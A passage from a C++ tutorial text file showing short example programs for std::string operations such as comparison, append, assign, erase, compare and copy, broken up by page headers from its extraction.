//Declaring a C-style string
char *str3 = "testingone";
cout<<"C-style str3 string is = "<<str3<<endl;

file:///C|/Tutorial.txt (359 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//Comparison between left-side object of type basic_string


//& right-side object of type basic_string
cout<<"\nOperation: (str1 != str2)"<<endl;
if(str1 != str2)
cout<<"str1 & str2 are not equal."<<endl;
else
cout<<"str1 & str2 are equal."<<endl;

//Comparison between left-side object of C-style string


//type & right-side object of type basic_string
cout<<"\nOperation: (str3 != str2)"<<endl;
if(str3 != str2)
cout<<"str3 & str2 are not equal."<<endl;
else
cout<<"str3 & str2 are equal."<<endl;

//Comparison between left-side object of type basic_string


//& right-side object of C-style string type
cout<<"\nOperation: (str1 != str3)"<<endl;
if(str1 != str3)
cout<<"str1 & str3 are not equal."<<endl;
else
cout<<"str1 & str3 are equal."<<endl;

//Comparison between left-side object of type basic_string


//& right-side object of type basic_string
cout<<"\nOperation: (str1 == str2)"<<endl;
if(str1 == str2)
cout<<"str1 & str2 are equal."<<endl;
else
cout<<"str1 & str2 are not equal."<<endl;

//Comparison between left-hand object of C-style string type


//& right-hand object of type basic_string
cout<<"\nOperation: (str3 == str2)"<<endl;
if(str3 == str2)
cout<<"str3 & str2 are equal."<<endl;
else
cout<<"str3 & str2 are not equal."<<endl;

//Comparison between left-hand object of type basic_string


//& right-hand object of C-style string type
cout<<"\nOperation: (str1 == str3)"<<endl;
if(str1 == str3)
cout<<"str1 & str3 are equal."<<endl;
else
cout<<"str1 & str3 are not equal."<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//< and > operators


#include <string>
#include <iostream>

file:///C|/Tutorial.txt (360 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

using namespace std;

int main()
{
//Declaring objects of type basic_string<char>
string str1("testingthree");
string str2("testingtwo");
cout<<"str1 is = "<<str1<<endl;
cout<<"str2 is = "<<str2<<endl;

//Declaring a C-style string


char *str3 = "testingone";
cout<<"str3 C-style string is = "<<str3<<endl;

//Comparison between left-side object of type basic_string


//& right-side object of type basic_string
cout<<"\nOperation: (str1 < str2)"<<endl;
if(str1 < str2)
cout<<"str1 is less then string str2."<<endl;
else
cout<<"str1 is not less then string str2."<<endl;

//Comparison between left-side object of C-style string


//type & right-side object of type basic_string
cout<<"\nOperation: (str3 < str2)"<<endl;
if(str3 < str2)
cout<<"str3 is less then string str2."<<endl;
else
cout<<"str3 is not less then string str2."<<endl;

//Comparison between left-side object of type basic_string


//& right-side object of C-style string type
cout<<"\nOperation: (str1 < str3)"<<endl;
if(str1 < str3)
cout<<"str1 is less then string str3."<<endl;
else
cout<<"str1 is not less then string str3."<<endl;

//Comparison between left-side object of type basic_string


//& right-side object of type basic_string
cout<<"\nOperation: (str1 > str2)"<<endl;
if(str1 > str2)
cout<<"str1 is greater then string str2."<<endl;
else
cout<<"str1 is not greater then string str2."<<endl;

//Comparison between left-hand object of C-style string type


//& right-hand object of type basic_string
cout<<"\nOperation: (str3 > str2)"<<endl;
if(str3 > str2)
cout<<"str3 is greater then string str2."<<endl;
else
cout<<"str3 is not greater then string str2."<<endl;

//Comparison between left-hand object of type basic_string


//& right-hand object of C-style string type

file:///C|/Tutorial.txt (361 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"\nOperation: (str1 > str3)"<<endl;


if(str1 > str3)
cout<<"str1 is greater then string str3."<<endl;
else
cout<<"str1 is not greater then string str3."<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//>= and <= operators


#include <string>
#include <iostream>
using namespace std;

int main( )
{
//Declaring an objects of type basic_string<char>
string str1("testingone");
string str2("testingtwo");
cout<<"str1 string is = "<<str1<<endl;
cout<<"str2 string is = "<<str2<<endl;
//Declaring a C-style string
char *str3 = "testingone";
cout<<"str3 C-style string is = "<<str3<<endl;

//Comparison between left-side object of type basic_string


//& right-side object of type basic_string
cout<<"\nOperation: (str1 <= str2)"<<endl;
if(str1 <= str2)
cout<<"str1 is less than or equal to str2."<<endl;
else
cout<<"str1 is not less than or equal to str2."<<endl;

//Comparison between left-side object of C-syle string


//type & right-side object of type basic_string
cout<<"\nOperation: (str3 <= str2)"<<endl;
if(str3 <= str2)
cout<<"str3 is less than or equal to str2."<<endl;
else
cout<<"str3 is not less than or equal to str2."<<endl;

//Comparison between left-side object of type basic_string


//& right-side object of C-syle string type
cout<<"\nOperation: (str1 <= str3)"<<endl;
if(str1 <= str3)
cout<<"str1 is less than or equal to str3."<<endl;
else
cout<<"str1 is not less than or equal to str3."<<endl;

//Comparison between left-side object of type basic_string


//& right-side object of type basic_string
cout<<"\nOperation: (str1 >= str2)"<<endl;
if(str1 >= str2)
cout<<"str1 is greater than or equal to str2."<<endl;
else

file:///C|/Tutorial.txt (362 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"str1 is not greater than or equal to str2."<<endl;

//Comparison between left-hand object of C-syle string type


//& right-hand object of type basic_string
cout<<"\nOperation: (str3 >= str2)"<<endl;
if(str3 >= str2)
cout<<"str3 is greater than or equal to str2."<<endl;
else
cout<<"str3 is not greater than or equal to str2."<<endl;

//Comparison between left-hand object of type basic_string


//& right-hand object of C-syle string type
cout<<"\nOperation: (str1 >= str3)"<<endl;
if(str1 >= str3)
cout<<"str1 is greater than or equal to str3."<<endl;
else
cout<<"str1 is not greater than or equal to str3."<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//<< and >> operators


#include <string>
#include <iostream>
using namespace std;

int main()
{
string Sample = "Testing the << and >> operators.";
string Var1, Var2;

cout<<Sample<<endl;
cout<<"Enter a string or a word: ";
cin>>Var1;
cout<<"Enter another string or a word: ";
cin>>Var2;
cout<<"The strings entered are: "<<Var1<<" and "<<Var2<<endl;

return 0;
}

-----------------------------------------------------------------------------------------------

//concatenating using ‘+’ operator


#include <string>
#include <iostream>
using namespace std;

int main()
{
//Declaring an object of type basic_string<char>
string str1("StringOne");
string str2("StringTwo");
//Declaring a C-style string

file:///C|/Tutorial.txt (363 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

char *str3 = "StringThree";


//Declaring a character constant
char chr = '?';

cout<<"str1 string is = "<<str1<<endl;


cout<<"str2 string is = "<<str2<<endl;
cout<<"str3 C-style string is = "<<str3<<endl;
cout<<"A character constant chr is = "<<chr<<endl;

//Concatenates an object of type basic_string


//with an object of type basic_string
cout<<"\nOperation: str12 = str1 + str2"<<endl;
string str12 = str1 + str2;
cout<<"str12 = "<<str12<<endl;

//Concatenates an object of type basic_string


//with an object of C-syle string type
cout<<"\nOperation: str13 = str1 + str3"<<endl;
string str13 = str1 + str3;
cout<<"str13 = "<<str13<<endl;

//Concatenates an object of type basic_string


//with a character constant
cout<<"\nOperation: str13chr = str13 + chr"<<endl;
string str13chr = str13 + chr;
cout<<"str13chr = "<<str13chr<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//swap()
#include <string>
#include <iostream>
using namespace std;

int main()
{
//Declaring an object of type basic_string<char>
string str1("StringOne");
string str2("StringTwo");
cout<<"Before swapping string str1 and str2:"<<endl;
cout<<"str1 string is = "<<str1<<endl;
cout<<"str2 string is = "<<str2<<endl;

swap(str1, str2);
cout<<"\nOperation: swap(str1, str2)"<<endl;
cout<<"After swapping string str1 and str2:"<<endl;
cout<<"str1 string is = "<<str1<<endl;
cout<<"str2 string is = "<<str2<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (364 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//getline()
#include <string>
#include <iostream>
using namespace std;

int main()
{
string str;
string str1;
string str2;
cout<<"Enter a line of text: ";
getline(cin, str);
cout<<"You entered: "<<str<<endl;
cout<<"Enter a line of text, <space> as the delimiter: "<<endl;
getline(cin, str1, ' ');
cout<<"You entered: "<<str1<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//append()
#include <string>
#include <iostream>
using namespace std;

int main()
{
//appending a C-string to a string
string str1("Playing ");
const char *str2 = "with a string";

cout<<"str1 is: "<<str1<<endl;


cout<<"str2, C string is: "<<str2<<endl;
str1.append(str2);
cout<<"Operation: str1.append(str2)"<<endl;
cout<<"Appending str2 to str1: "<<str1<<endl;

//appending part of a C-string to a string


string str3 ("Replaying ");
const char *str4 = "the string ";

cout<<"\nstr3 string is: "<<str3<<endl;


cout<<"str4 C-string is: "<<str4<<endl;
str3.append(str4, 6);
cout<<"Operation: str3.append(str4, 6)"<<endl;
cout<<"Appending part of the str4 to string str3: \n"<<str3<<endl;

//appending part of one string to another


string str5("Again "), str6("string manipulation");

cout<<"\nstr5 is: "<<str5<<endl;


cout<<"str6 is: "<<str6<<endl;
str5.append(str6, 4, 6);

file:///C|/Tutorial.txt (365 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"Operation: str5.append(str6, 4, 6)"<<endl;


cout<<"The appended string is: "<<str5<<endl;

//appending one string to another in two ways,


//comparing append and operator []
string str7("First "), str8("Second "), str9("Third ");
cout<<"\nstr7 is: "<<str7<<"\nstr8 is: "<<str8<<"\nstr9 is: "<<str9<<endl;
str7.append(str8);
cout<<"Operation: str7.append(str8)"<<endl;
cout<<"The appended string str7 is: "<<str7<<endl;
str7 += str9;
cout<<"Operation: str7 += str9"<<endl;
cout<<"The re appended string is: "<<str7<<endl;

//appending characters to a string


string str10("What string");
cout<<"\nstr10 string is: "<<str10<<endl;
str10.append(3, '?');
cout<<"Operation: str10.append(3, '?')"<<endl;
cout<<"str10 string appended with ? is: "<<str10<<endl;

//appending a range of one string to another


string str11("Finally "), str12("comes the END ");
cout<<"\nstr11 is: "<<str11<<" str12 is: "<<str12<<endl;
str11.append(str12.begin() + 6, str12.end() - 1);
cout<<"Operation:\nstr11.append(str12.begin() + 6, str12.end() - 1)"<<endl;
cout<<"The appended str11 String is: "<<str11<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//assign(), string assignment


#include <string>
#include <iostream>
using namespace std;

int main()
{
//assigning the characters of a C-string to a string
string str1;
const char *str2 = "StRiNg assign()";

cout<<"str2, C string is: "<<str2<<endl;


str1.assign(str2);
cout<<"Operation: str1.assign(str2)"<<endl;
cout<<"Assigning the C-string str2 to str1 string: \n"<<str1<<endl;

//assigning a number of a C-string characters to a string


string str3;
const char *str4 = "Another StRiNg assign()";
cout<<"\nstr4 C string is: "<<str4<<endl;
str3.assign(str4, 11);
cout<<"Operation: str3.assign(str4, 11)"<<endl;
cout<<"Assigning some portion of the str4 "
<<"to str3 string: \n"<<str3<<endl;

file:///C|/Tutorial.txt (366 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//assigning a number of the characters from one string to another string


string str5("First "), str6("Second sTrInG");
cout<<"\nstr5 string is: "<<str5<<endl;
cout<<"str6 string is: "<<str6<<endl;
str5.assign(str6, 7, 6);
cout<<"Operation: str5.assign(str6, 7, 6)"<<endl;
cout<<"Newly assigned str5 string is: "<<str5<<endl;

//assigning the characters from one string to another string


//in two equivalent ways, comparing the assign and operator =
string str7("First"), str8("Second"), str9("Third");
cout<<"\nstr7 string is: "<<str7<<endl;
cout<<"str8 string is: "<<str8<<endl;
cout<<"str9 string is: "<<str9<<endl;
str7.assign(str8);
cout<<"Operation: str7.assign(str8)"<<endl;
cout<<"Newly assigned str7 with str8 string is: "<<str7<<endl;
str7 = str9;
cout<<"Operation: str7 = str9"<<endl;
cout<<"String str7 reassigned with str9 string is: "<<str7<<endl;

//assigning a specific number of characters of a certain value to a string


string str10("Working STrInG");
cout<<"\nstr10 string is: "<<str10<<endl;
str10.assign(3, '!');
cout<<"Operation: str10.assign(3, '!')"<<endl;
cout<<"str10 string assigned with character '!' is: "<<str10<<endl;

//assigning a value from a range of one string to another string


string str11("Comes "), str12("the END ");
cout<<"\nstr11 string is: "<<str11<<endl;
cout<<"str12 string is: "<<str12<<endl;
str11.assign(str12.begin() + 4, str12.end() - 1);
cout<<"Operation: str11.assign(str12.begin()+4, str12.end()-1)"<<endl;
cout<<"str11 assigned a range of str12 string is: \n"<<str11<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//at()
#include <string>
#include <iostream>
using namespace std;

int main()
{
string str1("Operation"), str2("Desert Storm");
const string constr1("Making cakes"), constr2("Start eating");

cout<<"str1 string is: "<<str1<<endl;


cout<<"str2 string is: "<<str2<<endl;
cout<<"constr1, const string is: "<<constr1<<endl;
cout<<"constr2, const string is: "<<constr2<<endl;

file:///C|/Tutorial.txt (367 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//Element access of the non const strings


basic_string <char>::reference RefStr1 = str1[4];
basic_string <char>::reference RefStr2 = str2.at(7);

//index starts from 0 lor!


cout<<"\n---str1[5]---"<<endl;
cout<<"The 5th character of str1 is: "<<RefStr1<<endl;
cout<<"---str2.at(7)---"<<endl;
cout<<"The 7th character of str2 is: "<<RefStr2<<endl;

//Element access to the const strings


basic_string <char>::const_reference cRefStr1 = constr1[constr1.length()];
basic_string <char>::const_reference cRefStr2 = constr2.at(8);

cout<<"---constr1.length()---"<<endl;
cout<<"The length of the constr1 string is: "<<unsigned int(constr1.length())<<endl;

cout<<"\nTesting the null character..."<<endl;


cout<<"---cRefStr1 = constr1[constr1.length()]---"<<endl;
cout<<"Operation: (cRefStr1 == \'\\0\')"<<endl;
if(cRefStr1 == '\0')
cout<<"The null character is returned."<<endl;
else
cout<<"The null character is not returned."<<endl;

cout<<"\n---constr2.at(8)---"<<endl;
cout<<"The 8th character of the constr2 is: "<<cRefStr2<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//basic_string
#include <string>
#include <iostream>
using namespace std;

int main()
{
//initializing with a C-string
const char *str1 = "The basic_string";
basic_string <char> str2(str1, 5);
cout<<"str1 string is: "<<str1<<endl;
cout<<"Operation: str2(str1, 5)"<<endl;
cout<<"str2 initialized by str1 is: "<<str2<<"\n\n";

//initializing with a string


string str3("Initialize with a StRinG?");
cout<<"str3 string is: "<<str3<<endl;
basic_string <char> str4(str3, 6, 10);
cout<<"Operation: str4(str3, 6, 10)"<<endl;
cout<<"str4 initialized by part of the str3 string is: \n"<<str4<<"\n\n";

//initializing a string with a number of characters of a specific value


basic_string <char> str5(6, '7');
cout<<"Operation: str5(6, '7')"<<endl;

file:///C|/Tutorial.txt (368 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"str5 initialized by six number of 7s is: "<<str5<<"\n\n";

//creating an empty string and string with a specified allocator


basic_string <char> str6;
string str7;
//allocate a storage
basic_string <char> str8(str7.get_allocator());
//test the emptiness
cout<<"Operation: str8.empty()"<<endl;
if(str8.empty())
cout<<"The string str8 is empty."<<endl;
else
cout<<"The string str8 is not empty."<<endl;

//fill up some string


str8 = "Not empty!";
cout<<"Operation: str8 = Not empty!"<<endl;
//retest again...
if(str8.empty())
cout<<"The string str8 is empty."<<endl;
else
cout<<"The string str8 is not empty."<<endl;
cout<<endl;

//initializing a string from another range of characters


string str10("Test StRiNg");
cout<<"str10 string is: "<<str10<<endl;
cout<<"Operation: \nstr11(str10.begin()+5, str10.end())"<<endl;
basic_string <char> str11(str10.begin()+5, str10.end());
cout<<"str11 initialized by another range of characters is: \n"<<str11<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//begin(), end()
#include <string>
#include <iostream>
using namespace std;

int main()
{

string Str1("Testing the begin() and end()"), Str2;


basic_string <char>::iterator Str1Iter;
//const_iterator…
basic_string <char>::const_iterator Str1CIter;

//...an error because the iterator Str1CIter is const


//*Str1CIter = 'Z';

cout<<"String Str1 is: "<<Str1<<endl;


Str1Iter = Str1.begin();
cout<<"Operation: Str1Iter = Str1.begin()"<<endl;
cout<<"The first character of the string Str1 is: "<<*Str1Iter<<"\n\n";

file:///C|/Tutorial.txt (369 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//using dereferenced iterator to modify a character


*Str1Iter = 'F';
cout<<"Operation: *Str1Iter = 'F'"<<endl;
cout<<"Now, the first character of the new Str1 is: "<<*Str1Iter<<endl;
cout<<"The full modified string Str1 is now: \n"<<Str1<<"\n\n";

//For an empty string, begin() == end()


cout<<"Operation: if(Str2.begin() == Str2.end())"<<endl;
if(Str2.begin() == Str2.end())
cout<<"The string Str2 is empty."<<endl;
else
cout<<"The string Str2 is not empty."<<endl;
cout<<endl;

//Fill up some string and retest...


Str2 = "Not empty";
cout<<"Operation: Str2 = \"Not empty\""<<endl;
if(Str2.begin() == Str2.end())
cout<<"Now the string Str2 is empty."<<endl;
else
cout<<"Now the string Str2 is not empty."<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//c_str(), length(), data(), strlen()


#include <string>
#include <iostream>
using namespace std;

int main( )
{
string str1("Testing the c_str");
cout<<"The original string object str1 is: "<<str1<<endl;
cout<<"Operation: str1.length()"<<endl;
cout<<"The length of the string object str1 = "<<str1.length()<<"\n\n";

//A string to an array of characters conversion


const char *ptr1 = 0;
ptr1= str1.data();
cout<<"Operation: ptr1= str1.data()"<<endl;
cout<<"The string object pointed by ptr1 is: \n"<<ptr1<<endl;
cout<<"\nOperation: strlen(ptr1)"<<endl;
cout<<"The length of character array str1 = "<<strlen(ptr1)<<"\n\n";

//A string to a C-style string conversion


const char *cstr1 = str1.c_str();
cout<<"Operation: *cstr1 = str1.c_str()"<<endl;
cout<<"The C-style string c_str1 is: "<<cstr1<<endl;
cout<<"\nOperation: strlen(cstr1)"<<endl;
cout<<"The length of C-style string str1 = "<<strlen(cstr1)<<endl;
return 0;
}

file:///C|/Tutorial.txt (370 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

-----------------------------------------------------------------------------------------------

//capacity(), size(), erase()


//length(), max_size()
#include <string>
#include <iostream>
using namespace std;

int main( )
{
string str1("Testing the capacity()");
cout<<"str1 string is: "<<str1<<endl;

//The size and length member functions differ in name only


basic_string <char>::size_type SizeStr1, LenStr1;
SizeStr1 = str1.size();
LenStr1 = str1.length();

basic_string <char>::size_type CapStr1, MaxSizeStr1;


CapStr1 = str1.capacity();
MaxSizeStr1 = str1.max_size();

//Compare size, length, capacity & max_size of a string


cout<<"\nOperation: str1.size()"<<endl;
cout<<"The size of str1 is: "<<SizeStr1<<" characters"<<endl;
cout<<"\nOperation: str1.length()"<<endl;
cout<<"The length of str1 is: "<<LenStr1<<" characters"<<endl;
cout<<"\nOperation: str1.capacity()"<<endl;
cout<<"The capacity of str1 is: "<<CapStr1<<" characters"<<endl;
cout<<"\nOperation: str1.max_size()"<<endl;
cout<<"The max_size of str1 is: "<<MaxSizeStr1<<" characters"<<endl;

//erase some characters...


str1.erase(6, 5);
//Re test...
cout<<"\nOperation: str1.erase(6, 5)"<<endl;
cout<<"The new str1 string is: "<<str1<<"\n\n";

SizeStr1 = str1.size();
LenStr1 = str1.length();
CapStr1 = str1.capacity();
MaxSizeStr1 = str1.max_size();

//Compare size, length, capacity & max_size of a string


//after erasing part of the original string
cout<<"The new size of str1 is: "<<SizeStr1<<" characters"<<endl;
cout<<"The new length of str1 is: "<<LenStr1<<" characters"<<endl;
cout<<"The new capacity of str1 is: "<<CapStr1<<" characters"<<endl;
cout<<"The new max_size of str1 is: "<<MaxSizeStr1<<" characters"<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//clear()
#include <string>

file:///C|/Tutorial.txt (371 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <iostream>
using namespace std;

int main( )
{
string str1("Testing the clear()");
basic_string <char>::iterator StrIter;
//Normal...
cout<<"str1 string is :"<<str1<<endl;
//using iterator....iterate character by character...
cout<<"str1 string is: ";
for (StrIter = str1.begin(); StrIter != str1.end(); StrIter++)
cout<<*StrIter;
cout<<endl;

//str1.clear();
cout<<"\nErasing part of the string using erase(13)"<<endl;
str1.erase(13);
cout<<"Operation: str1.erase(13)"<<endl;
cout<<"The modified str1 string is: ";
//using iterator...
for(StrIter = str1.begin(); StrIter != str1.end(); StrIter++)
cout<<*StrIter;
cout<<endl;

//For an empty string, begin is equivalent to end


cout<<"\nOperation: str1.begin()==str1.end()"<<endl;
if(str1.begin() == str1.end())
cout<<"The str1 string is empty."<<endl;
else
cout<<"The str1 string has some data"<<endl;

//erasing all the data...


cout<<"\nOperation: str1.erase(13)"<<endl;
cout<<"Erasing all the data using erase()"<<endl;
str1.erase();
//re test...
cout<<"The modified string str1 is: "<<endl;
cout<<"\nOperation: str1.begin()==str1.end()"<<endl;
if(str1.begin() == str1.end())
cout<<"The str1 string is empty."<<endl;
else
cout<<"The str1 string has some data"<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//compare() program example part I


#include <string>
#include <iostream>
using namespace std;

int main()
{

file:///C|/Tutorial.txt (372 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//Comparing a string to a string...


//the character index start from 0
int str1;
string str2("First");
string str3("First");
cout<<"str2 string is: "<<str2<<endl;
cout<<"str3 string is: "<<str3<<endl;

//compare str2 and str3 assign the result to str1


cout<<"Operation: str2.compare(str3)"<<endl;
str1 = str2.compare(str3);
if(str1 < 0)
cout<<"The str2 string is less than the str3 string."<<endl;
else if(str1 == 0)
cout<<"The str2 string is equal to the str3 string."<<endl;
else
cout<<"The str2 string is greater than the str3 string."<<endl;
cout<<endl;

//Comparing part of a string to a string


int str4, str5;
string str6("SecondThird");
string str7("Third");
cout<<"str6 string is: "<<str6<<endl;
cout<<"str7 string is: "<<str7<<endl;

cout<<"Operation: str6.compare(6, 5, str7)"<<endl;


str4 = str6.compare(6, 5, str7);
if(str4 < 0)
cout<<"The last 5 characters of the str6 string are less than\n"
<<"the str7 string."<<endl;
else if(str4 == 0)
cout<<"The last 5 characters of the str6 string are equal to\n"
<<"the str7 string."<<endl;
else
cout<<"The last 5 characters of the str6 string is greater than\n"
<<"the str7 string."<<endl;
cout<<endl;

cout<<"Operation: str6.compare(0, 6, str7)"<<endl;


str5 = str6.compare(0, 6, str7);
if(str5 < 0)
cout<<"The first 6 characters of the str6 \nstring are less than "
<<"the str7 string."<<endl;
else if(str5 == 0)
cout<<"The first 6 characters of the str6 \nstring are equal to "
<<"the str7 string."<<endl;
else
cout<<"The first 6 characters of the str6 \nstring is greater than "
<<"the str7 string."<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//compare() program example part II

file:///C|/Tutorial.txt (373 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <string>
#include <iostream>
using namespace std;

int main()
{
//comparing part of a string to part of a string
int str8;
string str9("TestFourth");
string str10("TFourthT");
cout<<"str9 string is: "<<str9<<endl;
cout<<"str10 string is: "<<str10<<endl;

str8 = str9.compare(4, 6, str10, 1, 6);


cout<<"Operation: str9.compare(4, 6, str10, 1, 6)"<<endl;
if(str8 < 0)
cout<<"The 6 characters from position 4 of the str9 string \nare less than "
<<"the 6 characters str10 string from position 1."<<endl;
else if(str8 == 0)
cout<<"The 6 characters from position 4 of the str9 string\nare equal to "
<<"the 6 characters str10 string from position 1."<<endl;
else
cout<<"The 6 characters from position 4 of the str9 string\nis greater than "
<<"the 6 characters str10 string from position 1."<<endl;
cout<<endl;

//comparing a string to a C-string


int str11;
string str12("Fifth");
const char* str13 = "Sixth";
cout<<"The string str12 is: "<<str12<<endl;
cout<<"The C-string str13 is: "<<str13<<endl;

str11 = str12.compare(str13);
cout<<"Operation: str12.compare(str13)"<<endl;
if(str11 < 0)
cout<<"The str12 string is less than the str13 C-string."<<endl;
else if(str11 == 0)
cout<<"The str12 string is equal to the str13 C-string."<<endl;
else
cout<<"The str12 string is greater than the str13 C-string."<<endl;
cout << endl;

//Comparing part of a string to a C-string


int str14;
string str15("SeventhEight");
const char* str16 = "Eight";
cout<<"str15 string is: "<<str15<<endl;
cout<<"str16 string is: "<<str16<<endl;

str14 = str15.compare(7, 5, str16);


cout<<"Operation: str15.compare(7, 5, str16)"<<endl;
if(str14 < 0)
cout<<"The last 5 characters of the str15 \nstring are less than "
<<"the str16 C-string."<<endl;
else if(str14 == 0)

file:///C|/Tutorial.txt (374 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"The last 5 characters of the str15 \nstring are equal to "


<<"the str16 C-string."<<endl;
else
cout<<"The last 5 characters of the str15 \nstring is greater than "
<<"the str16 C-string."<<endl;
cout << endl;

//comparing part of a string to part of an equal length of a C-string


int str17;
string str18("ReTestEighth");
const char* str19 = "TestEighth";
cout<<"str18 string is: "<<str18<<endl;
cout<<"str19 C-string is: "<<str19<<endl;

str17 = str18.compare(2, 4, str19, 4);


cout<<"Operation: str18.compare(4, 6, str19, 6)"<<endl;
if(str17 < 0)
cout<<"The 4 characters from position 2 of the str18 string \nare less than "
<<"the first 4 characters of the str19 C-string."<<endl;
else if(str17 == 0)
cout<<"The 4 characters from position 2 of the str18 string \nare equal to "
<<"the first 4 characters of the str19 C-string."<<endl;
else
cout<<"The 4 characters from position 2of the str18 string \nis greater than "
<<"the first 4 characters of the str19 C-string."<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//copy()
#include <string>
#include <iostream>
using namespace std;

int main()
{
string str1("Testing the copy()");
basic_string <char>::iterator StrIter;
//declare and initialize arrays to 0
char Array1[20] = {0};
char Array2[10] = {0};
basic_string <char>:: pointer Array1Ptr = Array1;
basic_string <char>:: value_type *Array2Ptr = Array2;

//iterate character by character...


cout<<"str1 string is: ";
for(StrIter = str1.begin(); StrIter != str1.end(); StrIter++)
cout<<*StrIter;
cout<<endl;

basic_string <char>::size_type NewArray1;


NewArray1 = str1.copy(Array1Ptr, 18);
cout<<"Operation: str1.copy(Array1Ptr, 18)"<<endl;
cout<<"The number of copied characters in Array1 is: "<<unsigned int(NewArray1)<<endl;
cout<<"Now, Array1 is: "<<Array1<<"\n\n";

file:///C|/Tutorial.txt (375 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

basic_string <char>::size_type NewArray2;


NewArray2 = str1.copy(Array2Ptr, 9, 2);
cout<<"Operation: str1.copy(Array2Ptr, 9, 2)"<<endl;
cout<<"The number of copied characters in Array2 is: "<<unsigned int(NewArray2)<<endl;
cout<<"Now, Array2 is: "<<Array2Ptr<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//data(), length(), strlen()


//and c_str()
#include <string>
#include <iostream>
using namespace std;

int main()
{
string str1("Testing the data()");
cout<<"str1 string object is: "<<str1<<endl;
cout<<"Operation: str1.length()"<<endl;
cout<<"The length of str1 = "<<unsigned int(str1.length())<<"\n\n";

//Converting a string to an array of characters


const char *ptr1 = 0;
ptr1= str1.data();
cout<<"Operation: str1.data()"<<endl;
cout<<"The modified ptr1 string object is: "<<ptr1<<endl;
cout<<"Operation: strlen(ptr1)"<<endl;
cout<<"The length of character array str1 = "<<unsigned int(strlen(ptr1))<<"\n\n";

//Converting a string to a C-style string


const char *cstr1 = str1.c_str();
cout<<"Operation: str1.c_str()"<<endl;
cout<<"The C-style string c_str1 is: "<<cstr1<<endl;
cout<<"Operation: strlen(ptr1)"<<endl;
cout<<"The length of C-style string str1 = "<<unsigned int(strlen(cstr1))<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//empty()
#include <string>
#include <iostream>
using namespace std;

int main()
{
bool Var1, Var2;
string str1("Testing the empty()");
cout<<"str1 string object is: "<<str1<<endl;

Var1 = str1.empty();
//test the emptiness

file:///C|/Tutorial.txt (376 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"Operation: str1.empty()"<<endl;
if(Var1)
cout<<"str1 string object is empty."<<endl;
else
cout<<"str1 string object is not empty."<<"\n\n";

//An example of an empty string object


string str3;
Var2 = str3.empty();
cout<<"Operation: str3.empty()"<<endl;
//test the emptiness
if(Var2)
cout<<"str3 string object is empty."<<endl;
else
cout<<"str3 string object is not empty."<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//begin(), end()
#include <string>
#include <iostream>
using namespace std;

int main( )
{
string str1("Testing the end()");
basic_string <char>::iterator StrIter, Str1Iter;

Str1Iter = str1.end();
//minus the null character, so point to the real
//last character in the string...
Str1Iter--;
cout<<"Operation: str1.end() then Str1Iter--"<<endl;
cout<<"str1 string is: "<<str1<<endl;
cout<<"The last character of the str1 string is: "<<*Str1Iter<<endl;

//end() used to test when an iterator has reached the end of its string
cout<<"Using forward iterator the str1 is: ";
for(StrIter = str1.begin(); StrIter != str1.end(); StrIter++)
cout<<*StrIter;
cout<<"\n\n";

//The dereferenced iterator can be used to modify a character


//The last event, this pointer point to the last character in the string
*Str1Iter = 'F';
cout<<"Operation: *Str1Iter = 'F'"<<endl;
cout<<"Now, the last character of the modified str1 is: "<<*Str1Iter<<endl;
cout<<"Then the modified str1 string is: "<<str1<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//erase()

file:///C|/Tutorial.txt (377 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <string>
#include <iostream>
using namespace std;

int main()
{
//using a range...
string str1("Testing the erase() part I");
basic_string <char>::iterator Str1Iter;
cout<<"str1 string object is: "<< str1<<endl;

//don't forget the null character


Str1Iter = str1.erase(str1.begin() + 4, str1.end() - 6);
cout<<"Operation: str1.erase(str1.begin()+4, str1.end()-6)"<<endl;
cout<<"The first element after those removed is: "<<*Str1Iter<<endl;
cout<<"The modified str1 string object is: "<<str1<<endl;

//erasing a char pointed to by an iterator


string str2("Testing the erase() part II");
basic_string <char>::iterator Str2Iter;

cout<<"\nstr2 string object is: "<<str2<<endl;


Str2Iter = str2.erase(str2.begin() + 3);
cout<<"Operation: str2.erase(str2.begin() + 3)"<<endl;
cout<<"The first element after those removed is: "<<*Str2Iter<<endl;
cout<<"The modified str2 string object is: \n"<<str2<<endl;

//erasing a number of chars after a char


